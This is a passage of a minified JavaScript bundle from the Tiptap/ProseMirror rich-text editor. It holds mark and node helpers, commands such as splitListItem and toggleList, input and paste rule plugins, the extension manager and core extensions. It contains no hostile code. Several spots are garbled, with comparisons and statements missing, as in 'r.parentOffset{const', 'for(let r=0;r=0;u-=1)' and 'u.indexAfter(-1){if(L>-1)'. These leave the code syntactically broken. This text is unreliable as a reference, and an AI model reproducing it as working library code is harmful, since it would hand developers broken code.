n=Rf(typeof e=="string"?e:e.name,t.schema);return n==="node"?V8(t,e):n==="mark"?v2(t,e):{}}function H8(t,e=JSON.stringify){const n={};return t.filter(r=>{const a=e(r);return Object.prototype.hasOwnProperty.call(n,a)?!1:n[a]=!0})}function W8(t){const e=H8(t);return e.length===1?e:e.filter((n,r)=>!e.filter((i,o)=>o!==r).some(i=>n.oldRange.from>=i.oldRange.from&&n.oldRange.to<=i.oldRange.to&&n.newRange.from>=i.newRange.from&&n.newRange.to<=i.newRange.to))}function M2(t){const{mapping:e,steps:n}=t,r=[];return e.maps.forEach((a,i)=>{const o=[];if(a.ranges.length)a.forEach((c,u)=>{o.push({from:c,to:u})});else{const{from:c,to:u}=n[i];if(c===void 0||u===void 0)return;o.push({from:c,to:u})}o.forEach(({from:c,to:u})=>{const h=e.slice(i).map(c,-1),f=e.slice(i).map(u),m=e.invert().map(h,-1),g=e.invert().map(f);r.push({oldRange:{from:m,to:g},newRange:{from:h,to:f}})})}),W8(r)}function A0(t,e,n){const r=[];return t===e?n.resolve(t).marks().forEach(a=>{const i=n.resolve(t),o=E0(i,a.type);o&&r.push({mark:a,...o})}):n.nodesBetween(t,e,(a,i)=>{!a||(a==null?void 0:a.nodeSize)===void 0||r.push(...a.marks.map(o=>({from:i,to:i+a.nodeSize,mark:o})))}),r}var U8=(t,e,n,r=20)=>{const a=t.doc.resolve(n);let i=r,o=null;for(;i>0&&o===null;){const c=a.node(i);(c==null?void 0:c.type.name)===e?o=c:i-=1}return[o,i]};function Ec(t,e){return e.nodes[t]||e.marks[t]||null}function nh(t,e,n){return Object.fromEntries(Object.entries(n).filter(([r])=>{const a=t.find(i=>i.type===e&&i.name===r);return a?a.attribute.keepOnSplit:!1}))}var K8=(t,e=500)=>{let n="";const r=t.parentOffset;return t.parent.nodesBetween(Math.max(0,r-e),r,(a,i,o,c)=>{var u,h;const f=((h=(u=a.type.spec).toText)==null?void 0:h.call(u,{node:a,pos:i,parent:o,index:c}))||a.textContent||"%leaf%";n+=a.isAtom&&!a.isText?f:f.slice(0,Math.max(0,r-i))}),n};function ox(t,e,n={}){const{empty:r,ranges:a}=t.selection,i=e?Ta(e,t.schema):null;if(r)return!!(t.storedMarks||t.selection.$from.marks()).filter(m=>i?i.name===m.type.name:!0).find(m=>Eh(m.attrs,n,{strict:!1}));let o=0;const c=[];if(a.forEach(({$from:m,$to:g})=>{const y=m.pos,N=g.pos;t.doc.nodesBetween(y,N,(w,v)=>{if(i&&w.inlineContent&&!w.type.allowsMarkType(i))return!1;if(!w.isText&&!w.marks.length)return;const k=Math.max(y,v),C=Math.min(N,v+w.nodeSize),E=C-k;o+=E,c.push(...w.marks.map(T=>({mark:T,from:k,to:C})))})}),o===0)return!1;const u=c.filter(m=>i?i.name===m.mark.type.name:!0).filter(m=>Eh(m.mark.attrs,n,{strict:!1})).reduce((m,g)=>m+g.to-g.from,0),h=c.filter(m=>i?m.mark.type!==i&&m.mark.type.excludes(i):!0).reduce((m,g)=>m+g.to-g.from,0);return(u>0?u+h:u)>=o}function q8(t,e,n={}){if(!e)return Ni(t,null,n)||ox(t,null,n);const r=Rf(e,t.schema);return r==="node"?Ni(t,e,n):r==="mark"?ox(t,e,n):!1}var G8=(t,e)=>{const{$from:n,$to:r,$anchor:a}=t.selection;if(e){const i=Pf(c=>c.type.name===e)(t.selection);if(!i)return!1;const o=t.doc.resolve(i.pos+1);return a.pos+1===o.end()}return!(r.parentOffset{const{$from:e,$to:n}=t.selection;return!(e.parentOffset>0||e.pos!==n.pos)};function yN(t,e){return Array.isArray(e)?e.some(n=>(typeof n=="string"?n:n.name)===t.name):e}function bN(t,e){const{nodeExtensions:n}=Tl(e),r=n.find(o=>o.name===t);if(!r)return!1;const a={name:r.name,options:r.options,storage:r.storage},i=jt(Ke(r,"group",a));return typeof i!="string"?!1:i.split(" ").includes("list")}function Of(t,{checkChildren:e=!0,ignoreWhitespace:n=!1}={}){var r;if(n){if(t.type.name==="hardBreak")return!0;if(t.isText)return/^\s*$/m.test((r=t.text)!=null?r:"")}if(t.isText)return!t.text;if(t.isAtom||t.isLeaf)return!1;if(t.content.childCount===0)return!0;if(e){let a=!0;return t.content.forEach(i=>{a!==!1&&(Of(i,{ignoreWhitespace:n,checkChildren:e})||(a=!1))}),a}return!1}function A2(t){return t instanceof Xe}var I2=class R2{constructor(e){this.position=e}static fromJSON(e){return new R2(e.position)}toJSON(){return{position:this.position}}};function Y8(t,e){const n=e.mapping.mapResult(t.position);return{position:new I2(n.pos),mapResult:n}}function Q8(t){return new I2(t)}function X8(t,e,n){var r;const{selection:a}=e;let i=null;if(g2(a)&&(i=a.$cursor),i){const c=(r=t.storedMarks)!=null?r:i.marks();return i.parent.type.allowsMarkType(n)&&(!!n.isInSet(c)||!c.some(h=>h.type.excludes(n)))}const{ranges:o}=a;return o.some(({$from:c,$to:u})=>{let h=c.depth===0?t.doc.inlineContent&&t.doc.type.allowsMarkType(n):!1;return t.doc.nodesBetween(c.pos,u.pos,(f,m,g)=>{if(h)return!1;if(f.isInline){const y=!g||g.type.allowsMarkType(n),N=!!n.isInSet(f.marks)||!f.marks.some(w=>w.type.excludes(n));h=y&&N}return!h}),h})}var Z8=(t,e={})=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=n,{empty:o,ranges:c}=i,u=Ta(t,r.schema);if(a)if(o){const h=v2(r,u);n.addStoredMark(u.create({...h,...e}))}else c.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;r.doc.nodesBetween(f,m,(g,y)=>{const N=Math.max(y,f),w=Math.min(y+g.nodeSize,m);g.marks.find(k=>k.type===u)?g.marks.forEach(k=>{u===k.type&&n.addMark(N,w,u.create({...k.attrs,...e}))}):n.addMark(N,w,u.create(e))})});return X8(r,n,u)},e6=(t,e)=>({tr:n})=>(n.setMeta(t,e),!0),t6=(t,e={})=>({state:n,dispatch:r,chain:a})=>{const i=Sn(t,n.schema);let o;return n.selection.$anchor.sameParent(n.selection.$head)&&(o=n.selection.$anchor.parent.attrs),i.isTextblock?a().command(({commands:c})=>I1(i,{...o,...e})(n)?!0:c.clearNodes()).command(({state:c})=>I1(i,{...o,...e})(c,r)).run():(console.warn('[tiptap warn]: Currently "setNode()" only supports text block nodes.'),!1)},n6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,a=io(t,0,r.content.size),i=Xe.create(r,a);e.setSelection(i)}return!0},r6=(t,e)=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=r;let o,c;return typeof e=="number"?(o=e,c=e):e&&"from"in e&&"to"in e?(o=e.from,c=e.to):(o=i.from,c=i.to),a&&n.doc.nodesBetween(o,c,(u,h)=>{u.isText||n.setNodeMarkup(h,void 0,{...u.attrs,dir:t})}),!0},s6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,{from:a,to:i}=typeof t=="number"?{from:t,to:t}:t,o=Ze.atStart(r).from,c=Ze.atEnd(r).to,u=io(a,o,c),h=io(i,o,c),f=Ze.create(r,u,h);e.setSelection(f)}return!0},a6=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return XO(r)(e,n)};function vN(t,e){const n=t.storedMarks||t.selection.$to.parentOffset&&t.selection.$from.marks();if(n){const r=n.filter(a=>e==null?void 0:e.includes(a.type.name));t.tr.ensureMarks(r)}}var i6=({keepMarks:t=!0}={})=>({tr:e,state:n,dispatch:r,editor:a})=>{const{selection:i,doc:o}=e,{$from:c,$to:u}=i,h=a.extensionManager.attributes,f=nh(h,c.node().type.name,c.node().attrs);if(i instanceof Xe&&i.node.isBlock)return!c.parentOffset||!ja(o,c.pos)?!1:(r&&(t&&vN(n,a.extensionManager.splittableMarks),e.split(c.pos).scrollIntoView()),!0);if(!c.parent.isBlock)return!1;const m=u.parentOffset===u.parent.content.size,g=c.depth===0?void 0:O8(c.node(-1).contentMatchAt(c.indexAfter(-1)));let y=m&&g?[{type:g,attrs:f}]:void 0,N=ja(e.doc,e.mapping.map(c.pos),1,y);if(!y&&!N&&ja(e.doc,e.mapping.map(c.pos),1,g?[{type:g}]:void 0)&&(N=!0,y=g?[{type:g,attrs:f}]:void 0),r){if(N&&(i instanceof Ze&&e.deleteSelection(),e.split(e.mapping.map(c.pos),1,y),g&&!m&&!c.parentOffset&&c.parent.type!==g)){const w=e.mapping.map(c.before()),v=e.doc.resolve(w);c.node(-1).canReplaceWith(v.index(),v.index()+1,g)&&e.setNodeMarkup(e.mapping.map(c.before()),g)}t&&vN(n,a.extensionManager.splittableMarks),e.scrollIntoView()}return N},o6=(t,e={})=>({tr:n,state:r,dispatch:a,editor:i})=>{var o;const c=Sn(t,r.schema),{$from:u,$to:h}=r.selection,f=r.selection.node;if(f&&f.isBlock||u.depth<2||!u.sameParent(h))return!1;const m=u.node(-1);if(m.type!==c)return!1;const g=i.extensionManager.attributes;if(u.parent.content.size===0&&u.node(-1).childCount===u.indexAfter(-1)){if(u.depth===2||u.node(-3).type!==c||u.index(-2)!==u.node(-2).childCount-1)return!1;if(a){let k=be.empty;const C=u.index(-1)?1:u.index(-2)?2:3;for(let R=u.depth-C;R>=u.depth-3;R-=1)k=be.from(u.node(R).copy(k));const E=u.indexAfter(-1){if(L>-1)return!1;R.isTextblock&&R.content.size===0&&(L=D+1)}),L>-1&&n.setSelection(Ze.near(n.doc.resolve(L))),n.scrollIntoView()}return!0}const y=h.pos===u.end()?m.contentMatchAt(0).defaultType:null,N={...nh(g,m.type.name,m.attrs),...e},w={...nh(g,u.node().type.name,u.node().attrs),...e};n.delete(u.pos,h.pos);const v=y?[{type:c,attrs:N},{type:y,attrs:w}]:[{type:c,attrs:N}];if(!ja(n.doc,u.pos,2))return!1;if(a){const{selection:k,storedMarks:C}=r,{splittableMarks:E}=i.extensionManager,T=C||k.$to.parentOffset&&k.$from.marks();if(n.split(u.pos,2,v).scrollIntoView(),!T||!a)return!0;const I=T.filter(O=>E.includes(O.type.name));n.ensureMarks(I)}return!0},sg=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(Math.max(0,n.pos-1)).before(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,n.pos)&&t.join(n.pos),!0},ag=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(n.start).after(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,r)&&t.join(r),!0},l6=(t,e,n,r={})=>({editor:a,tr:i,state:o,dispatch:c,chain:u,commands:h,can:f})=>{const{extensions:m,splittableMarks:g}=a.extensionManager,y=Sn(t,o.schema),N=Sn(e,o.schema),{selection:w,storedMarks:v}=o,{$from:k,$to:C}=w,E=k.blockRange(C),T=v||w.$to.parentOffset&&w.$from.marks();if(!E)return!1;const I=Pf(O=>bN(O.type.name,m))(w);if(E.depth>=1&&I&&E.depth-I.depth<=1){if(I.node.type===y)return h.liftListItem(N);if(bN(I.node.type.name,m)&&y.validContent(I.node.content)&&c)return u().command(()=>(i.setNodeMarkup(I.pos,y),!0)).command(()=>sg(i,y)).command(()=>ag(i,y)).run()}return!n||!T||!c?u().command(()=>f().wrapInList(y,r)?!0:h.clearNodes()).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run():u().command(()=>{const O=f().wrapInList(y,r),L=T.filter(R=>g.includes(R.type.name));return i.ensureMarks(L),O?!0:h.clearNodes()}).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run()},c6=(t,e={},n={})=>({state:r,commands:a})=>{const{extendEmptyMarkRange:i=!1}=n,o=Ta(t,r.schema);return ox(r,o,e)?a.unsetMark(o,{extendEmptyMarkRange:i}):a.setMark(o,e)},d6=(t,e,n={})=>({state:r,commands:a})=>{const i=Sn(t,r.schema),o=Sn(e,r.schema),c=Ni(r,i,n);let u;return r.selection.$anchor.sameParent(r.selection.$head)&&(u=r.selection.$anchor.parent.attrs),c?a.setNode(o,u):a.setNode(i,{...u,...n})},u6=(t,e={})=>({state:n,commands:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?r.lift(a):r.wrapIn(a,e)},h6=()=>({state:t,dispatch:e})=>{const n=t.plugins;for(let r=0;r=0;u-=1)o.step(c.steps[u].invert(c.docs[u]));if(i.text){const u=o.doc.resolve(i.from).marks();o.replaceWith(i.from,i.to,t.schema.text(i.text,u))}else o.delete(i.from,i.to)}return!0}}return!1},f6=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,{empty:r,ranges:a}=n;return r||e&&a.forEach(i=>{t.removeMark(i.$from.pos,i.$to.pos)}),!0},p6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{var i;const{extendEmptyMarkRange:o=!1}=e,{selection:c}=n,u=Ta(t,r.schema),{$from:h,empty:f,ranges:m}=c;if(!a)return!0;if(f&&o){let{from:g,to:y}=c;const N=(i=h.marks().find(v=>v.type===u))==null?void 0:i.attrs,w=E0(h,u,N);w&&(g=w.from,y=w.to),n.removeMark(g,y,u)}else m.forEach(g=>{n.removeMark(g.$from.pos,g.$to.pos,u)});return n.removeStoredMark(u),!0},m6=t=>({tr:e,state:n,dispatch:r})=>{const{selection:a}=n;let i,o;return typeof t=="number"?(i=t,o=t):t&&"from"in t&&"to"in t?(i=t.from,o=t.to):(i=a.from,o=a.to),r&&e.doc.nodesBetween(i,o,(c,u)=>{if(c.isText)return;const h={...c.attrs};delete h.dir,e.setNodeMarkup(u,void 0,h)}),!0},g6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;let g,y,N,w;n.selection.empty?r.doc.nodesBetween(f,m,(v,k)=>{i&&i===v.type&&(u=!0,N=Math.max(k,f),w=Math.min(k+v.nodeSize,m),g=k,y=v)}):r.doc.nodesBetween(f,m,(v,k)=>{k=f&&k<=m&&(i&&i===v.type&&(u=!0,a&&n.setNodeMarkup(k,void 0,{...v.attrs,...e})),o&&v.marks.length&&v.marks.forEach(C=>{if(o===C.type&&(u=!0,a)){const E=Math.max(k,f),T=Math.min(k+v.nodeSize,m);n.addMark(E,T,o.create({...C.attrs,...e}))}}))}),y&&(g!==void 0&&a&&n.setNodeMarkup(g,void 0,{...y.attrs,...e}),o&&y.marks.length&&y.marks.forEach(v=>{o===v.type&&a&&n.addMark(N,w,o.create({...v.attrs,...e}))}))}),u},x6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return UO(a,e)(n,r)},y6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return KO(a,e)(n,r)},b6=class{constructor(){this.callbacks={}}on(t,e){return this.callbacks[t]||(this.callbacks[t]=[]),this.callbacks[t].push(e),this}emit(t,...e){const n=this.callbacks[t];return n&&n.forEach(r=>r.apply(this,e)),this}off(t,e){const n=this.callbacks[t];return n&&(e?this.callbacks[t]=n.filter(r=>r!==e):delete this.callbacks[t]),this}once(t,e){const n=(...r)=>{this.off(t,n),e.apply(this,r)};return this.on(t,n)}removeAllListeners(){this.callbacks={}}},Df=class{constructor(t){var e;this.find=t.find,this.handler=t.handler,this.undoable=(e=t.undoable)!=null?e:!0}},v6=(t,e)=>{if(C0(e))return e.exec(t);const n=e(t);if(!n)return null;const r=[n.text];return r.index=n.index,r.input=t,r.data=n.data,n.replaceWith&&(n.text.includes(n.replaceWith)||console.warn('[tiptap warn]: "inputRuleMatch.replaceWith" must be part of "inputRuleMatch.text".'),r.push(n.replaceWith)),r};function $u(t){var e;const{editor:n,from:r,to:a,text:i,rules:o,plugin:c}=t,{view:u}=n;if(u.composing)return!1;const h=u.state.doc.resolve(r);if(h.parent.type.spec.code||(e=h.nodeBefore||h.nodeAfter)!=null&&e.marks.find(g=>g.type.spec.code))return!1;let f=!1;const m=K8(h)+i;return o.forEach(g=>{if(f)return;const y=v6(m,g.find);if(!y)return;const N=u.state.tr,w=Af({state:u.state,transaction:N}),v={from:r-(y[0].length-i.length),to:a},{commands:k,chain:C,can:E}=new If({editor:n,state:w});g.handler({state:w,range:v,match:y,commands:k,chain:C,can:E})===null||!N.steps.length||(g.undoable&&N.setMeta(c,{transform:N,from:r,to:a,text:i}),u.dispatch(N),f=!0)}),f}function N6(t){const{editor:e,rules:n}=t,r=new Kt({state:{init(){return null},apply(a,i,o){const c=a.getMeta(r);if(c)return c;const u=a.getMeta("applyInputRules");return!!u&&setTimeout(()=>{let{text:f}=u;typeof f=="string"?f=f:f=M0(be.from(f),o.schema);const{from:m}=u,g=m+f.length;$u({editor:e,from:m,to:g,text:f,rules:n,plugin:r})}),a.selectionSet||a.docChanged?null:i}},props:{handleTextInput(a,i,o,c){return $u({editor:e,from:i,to:o,text:c,rules:n,plugin:r})},handleDOMEvents:{compositionend:a=>(setTimeout(()=>{const{$cursor:i}=a.state.selection;i&&$u({editor:e,from:i.pos,to:i.pos,text:"",rules:n,plugin:r})}),!1)},handleKeyDown(a,i){if(i.key!=="Enter")return!1;const{$cursor:o}=a.state.selection;return o?$u({editor:e,from:o.pos,to:o.pos,text:` +`,rules:n,plugin:r}):!1}},isInputRules:!0});return r}function w6(t){return Object.prototype.toString.call(t).slice(8,-1)}function Fu(t){return w6(t)!=="Object"?!1:t.constructor===Object&&Object.getPrototypeOf(t)===Object.prototype}function P2(t,e){const n={...t};return Fu(t)&&Fu(e)&&Object.keys(e).forEach(r=>{Fu(e[r])&&Fu(t[r])?n[r]=P2(t[r],e[r]):n[r]=e[r]}),n}var I0=class{constructor(t={}){this.type="extendable",this.parent=null,this.child=null,this.name="",this.config={name:this.name},this.config={...this.config,...t},this.name=this.config.name}get options(){return{...jt(Ke(this,"addOptions",{name:this.name}))||{}}}get storage(){return{...jt(Ke(this,"addStorage",{name:this.name,options:this.options}))||{}}}configure(t={}){const e=this.extend({...this.config,addOptions:()=>P2(this.options,t)});return e.name=this.name,e.parent=this.parent,e}extend(t={}){const e=new this.constructor({...this.config,...t});return e.parent=this,this.child=e,e.name="name"in t?t.name:e.parent.name,e}},Ao=class O2 extends I0{constructor(){super(...arguments),this.type="mark"}static create(e={}){const n=typeof e=="function"?e():e;return new O2(n)}static handleExit({editor:e,mark:n}){const{tr:r}=e.state,a=e.state.selection.$from;if(a.pos===a.end()){const o=a.marks();if(!!!o.find(h=>(h==null?void 0:h.type.name)===n.name))return!1;const u=o.find(h=>(h==null?void 0:h.type.name)===n.name);return u&&r.removeStoredMark(u),r.insertText(" ",a.pos),e.view.dispatch(r),!0}return!1}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}};function j6(t){return typeof t=="number"}var k6=class{constructor(t){this.find=t.find,this.handler=t.handler}},S6=(t,e,n)=>{if(C0(e))return[...t.matchAll(e)];const r=e(t,n);return r?r.map(a=>{const i=[a.text];return i.index=a.index,i.input=t,i.data=a.data,a.replaceWith&&(a.text.includes(a.replaceWith)||console.warn('[tiptap warn]: "pasteRuleMatch.replaceWith" must be part of "pasteRuleMatch.text".'),i.push(a.replaceWith)),i}):[]};function C6(t){const{editor:e,state:n,from:r,to:a,rule:i,pasteEvent:o,dropEvent:c}=t,{commands:u,chain:h,can:f}=new If({editor:e,state:n}),m=[];return n.doc.nodesBetween(r,a,(y,N)=>{var w,v,k,C,E;if((v=(w=y.type)==null?void 0:w.spec)!=null&&v.code||!(y.isText||y.isTextblock||y.isInline))return;const T=(E=(C=(k=y.content)==null?void 0:k.size)!=null?C:y.nodeSize)!=null?E:0,I=Math.max(r,N),O=Math.min(a,N+T);if(I>=O)return;const L=y.isText?y.text||"":y.textBetween(I-N,O-N,void 0,"");S6(L,i.find,o).forEach(D=>{if(D.index===void 0)return;const z=I+D.index+1,Z=z+D[0].length,ne={from:n.tr.mapping.map(z),to:n.tr.mapping.map(Z)},fe=i.handler({state:n,range:ne,match:D,commands:u,chain:h,can:f,pasteEvent:o,dropEvent:c});m.push(fe)})}),m.every(y=>y!==null)}var Bu=null,E6=t=>{var e;const n=new ClipboardEvent("paste",{clipboardData:new DataTransfer});return(e=n.clipboardData)==null||e.setData("text/html",t),n};function T6(t){const{editor:e,rules:n}=t;let r=null,a=!1,i=!1,o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,c;try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}const u=({state:f,from:m,to:g,rule:y,pasteEvt:N})=>{const w=f.tr,v=Af({state:f,transaction:w});if(!(!C6({editor:e,state:v,from:Math.max(m-1,0),to:g.b-1,rule:y,pasteEvent:N,dropEvent:c})||!w.steps.length)){try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}return o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,w}};return n.map(f=>new Kt({view(m){const g=N=>{var w;r=(w=m.dom.parentElement)!=null&&w.contains(N.target)?m.dom.parentElement:null,r&&(Bu=e)},y=()=>{Bu&&(Bu=null)};return window.addEventListener("dragstart",g),window.addEventListener("dragend",y),{destroy(){window.removeEventListener("dragstart",g),window.removeEventListener("dragend",y)}}},props:{handleDOMEvents:{drop:(m,g)=>{if(i=r===m.dom.parentElement,c=g,!i){const y=Bu;y!=null&&y.isEditable&&setTimeout(()=>{const N=y.state.selection;N&&y.commands.deleteRange({from:N.from,to:N.to})},10)}return!1},paste:(m,g)=>{var y;const N=(y=g.clipboardData)==null?void 0:y.getData("text/html");return o=g,a=!!(N!=null&&N.includes("data-pm-slice")),!1}}},appendTransaction:(m,g,y)=>{const N=m[0],w=N.getMeta("uiEvent")==="paste"&&!a,v=N.getMeta("uiEvent")==="drop"&&!i,k=N.getMeta("applyPasteRules"),C=!!k;if(!w&&!v&&!C)return;if(C){let{text:I}=k;typeof I=="string"?I=I:I=M0(be.from(I),y.schema);const{from:O}=k,L=O+I.length,R=E6(I);return u({rule:f,state:y,from:O,to:{b:L},pasteEvt:R})}const E=g.doc.content.findDiffStart(y.doc.content),T=g.doc.content.findDiffEnd(y.doc.content);if(!(!j6(E)||!T||E===T.b))return u({rule:f,state:y,from:E,to:T,pasteEvt:o})}}))}var Lf=class{constructor(t,e){this.splittableMarks=[],this.editor=e,this.baseExtensions=t,this.extensions=S2(t),this.schema=$8(this.extensions,e),this.setupExtensions()}get commands(){return this.extensions.reduce((t,e)=>{const n={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)},r=Ke(e,"addCommands",n);return r?{...t,...r()}:t},{})}get plugins(){const{editor:t}=this;return Wc([...this.extensions].reverse()).flatMap(r=>{const a={name:r.name,options:r.options,storage:this.editor.extensionStorage[r.name],editor:t,type:Ec(r.name,this.schema)},i=[],o=Ke(r,"addKeyboardShortcuts",a);let c={};if(r.type==="mark"&&Ke(r,"exitable",a)&&(c.ArrowRight=()=>Ao.handleExit({editor:t,mark:r})),o){const g=Object.fromEntries(Object.entries(o()).map(([y,N])=>[y,()=>N({editor:t})]));c={...c,...g}}const u=VL(c);i.push(u);const h=Ke(r,"addInputRules",a);if(yN(r,t.options.enableInputRules)&&h){const g=h();if(g&&g.length){const y=N6({editor:t,rules:g}),N=Array.isArray(y)?y:[y];i.push(...N)}}const f=Ke(r,"addPasteRules",a);if(yN(r,t.options.enablePasteRules)&&f){const g=f();if(g&&g.length){const y=T6({editor:t,rules:g});i.push(...y)}}const m=Ke(r,"addProseMirrorPlugins",a);if(m){const g=m();i.push(...g)}return i})}get attributes(){return k2(this.extensions)}get nodeViews(){const{editor:t}=this,{nodeExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ke(n,"addNodeView")).map(n=>{const r=this.attributes.filter(u=>u.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Sn(n.name,this.schema)},i=Ke(n,"addNodeView",a);if(!i)return[];const o=i();if(!o)return[];const c=(u,h,f,m,g)=>{const y=cd(u,r);return o({node:u,view:h,getPos:f,decorations:m,innerDecorations:g,editor:t,extension:n,HTMLAttributes:y})};return[n.name,c]}))}dispatchTransaction(t){const{editor:e}=this;return Wc([...this.extensions].reverse()).reduceRight((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ke(a,"dispatchTransaction",i);return o?c=>{o.call(i,{transaction:c,next:r})}:r},t)}transformPastedHTML(t){const{editor:e}=this;return Wc([...this.extensions]).reduce((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ke(a,"transformPastedHTML",i);return o?(c,u)=>{const h=r(c,u);return o.call(i,h)}:r},t||(r=>r))}get markViews(){const{editor:t}=this,{markExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ke(n,"addMarkView")).map(n=>{const r=this.attributes.filter(c=>c.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Ta(n.name,this.schema)},i=Ke(n,"addMarkView",a);if(!i)return[];const o=(c,u,h)=>{const f=cd(c,r);return i()({mark:c,view:u,inline:h,editor:t,extension:n,HTMLAttributes:f,updateAttributes:m=>{H6(c,t,m)}})};return[n.name,o]}))}setupExtensions(){const t=this.extensions;this.editor.extensionStorage=Object.fromEntries(t.map(e=>[e.name,e.storage])),t.forEach(e=>{var n;const r={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)};e.type==="mark"&&((n=jt(Ke(e,"keepOnSplit",r)))==null||n)&&this.splittableMarks.push(e.name);const a=Ke(e,"onBeforeCreate",r),i=Ke(e,"onCreate",r),o=Ke(e,"onUpdate",r),c=Ke(e,"onSelectionUpdate",r),u=Ke(e,"onTransaction",r),h=Ke(e,"onFocus",r),f=Ke(e,"onBlur",r),m=Ke(e,"onDestroy",r);a&&this.editor.on("beforeCreate",a),i&&this.editor.on("create",i),o&&this.editor.on("update",o),c&&this.editor.on("selectionUpdate",c),u&&this.editor.on("transaction",u),h&&this.editor.on("focus",h),f&&this.editor.on("blur",f),m&&this.editor.on("destroy",m)})}};Lf.resolve=S2;Lf.sort=Wc;Lf.flatten=T0;var M6={};S0(M6,{ClipboardTextSerializer:()=>L2,Commands:()=>_2,Delete:()=>z2,Drop:()=>$2,Editable:()=>F2,FocusEvents:()=>V2,Keymap:()=>H2,Paste:()=>W2,Tabindex:()=>U2,TextDirection:()=>K2,focusEventsPluginKey:()=>B2});var mn=class D2 extends I0{constructor(){super(...arguments),this.type="extension"}static create(e={}){const n=typeof e=="function"?e():e;return new D2(n)}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}},L2=mn.create({name:"clipboardTextSerializer",addOptions(){return{blockSeparator:void 0}},addProseMirrorPlugins(){return[new Kt({key:new tn("clipboardTextSerializer"),props:{clipboardTextSerializer:()=>{const{editor:t}=this,{state:e,schema:n}=t,{doc:r,selection:a}=e,{ranges:i}=a,o=Math.min(...i.map(f=>f.$from.pos)),c=Math.max(...i.map(f=>f.$to.pos)),u=E2(n);return C2(r,{from:o,to:c},{...this.options.blockSeparator!==void 0?{blockSeparator:this.options.blockSeparator}:{},textSerializers:u})}}})]}}),_2=mn.create({name:"commands",addCommands(){return{...p2}}}),z2=mn.create({name:"delete",onUpdate({transaction:t,appendedTransactions:e}){var n,r,a;const i=()=>{var o,c,u,h;if((h=(u=(c=(o=this.editor.options.coreExtensionOptions)==null?void 0:o.delete)==null?void 0:c.filterTransaction)==null?void 0:u.call(c,t))!=null?h:t.getMeta("y-sync$"))return;const f=N2(t.before,[t,...e]);M2(f).forEach(y=>{f.mapping.mapResult(y.oldRange.from).deletedAfter&&f.mapping.mapResult(y.oldRange.to).deletedBefore&&f.before.nodesBetween(y.oldRange.from,y.oldRange.to,(N,w)=>{const v=w+N.nodeSize-2,k=y.oldRange.from<=w&&v<=y.oldRange.to;this.editor.emit("delete",{type:"node",node:N,from:w,to:v,newFrom:f.mapping.map(w),newTo:f.mapping.map(v),deletedRange:y.oldRange,newRange:y.newRange,partial:!k,editor:this.editor,transaction:t,combinedTransform:f})})});const g=f.mapping;f.steps.forEach((y,N)=>{var w,v;if(y instanceof ks){const k=g.slice(N).map(y.from,-1),C=g.slice(N).map(y.to),E=g.invert().map(k,-1),T=g.invert().map(C),I=(w=f.doc.nodeAt(k-1))==null?void 0:w.marks.some(L=>L.eq(y.mark)),O=(v=f.doc.nodeAt(C))==null?void 0:v.marks.some(L=>L.eq(y.mark));this.editor.emit("delete",{type:"mark",mark:y.mark,from:y.from,to:y.to,deletedRange:{from:E,to:T},newRange:{from:k,to:C},partial:!!(O||I),editor:this.editor,transaction:t,combinedTransform:f})}})};(a=(r=(n=this.editor.options.coreExtensionOptions)==null?void 0:n.delete)==null?void 0:r.async)==null||a?setTimeout(i,0):i()}}),$2=mn.create({name:"drop",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapDrop"),props:{handleDrop:(t,e,n,r)=>{this.editor.emit("drop",{editor:this.editor,event:e,slice:n,moved:r})}}})]}}),F2=mn.create({name:"editable",addProseMirrorPlugins(){return[new Kt({key:new tn("editable"),props:{editable:()=>this.editor.options.editable}})]}}),B2=new tn("focusEvents"),V2=mn.create({name:"focusEvents",addProseMirrorPlugins(){const{editor:t}=this;return[new Kt({key:B2,props:{handleDOMEvents:{focus:(e,n)=>{t.isFocused=!0;const 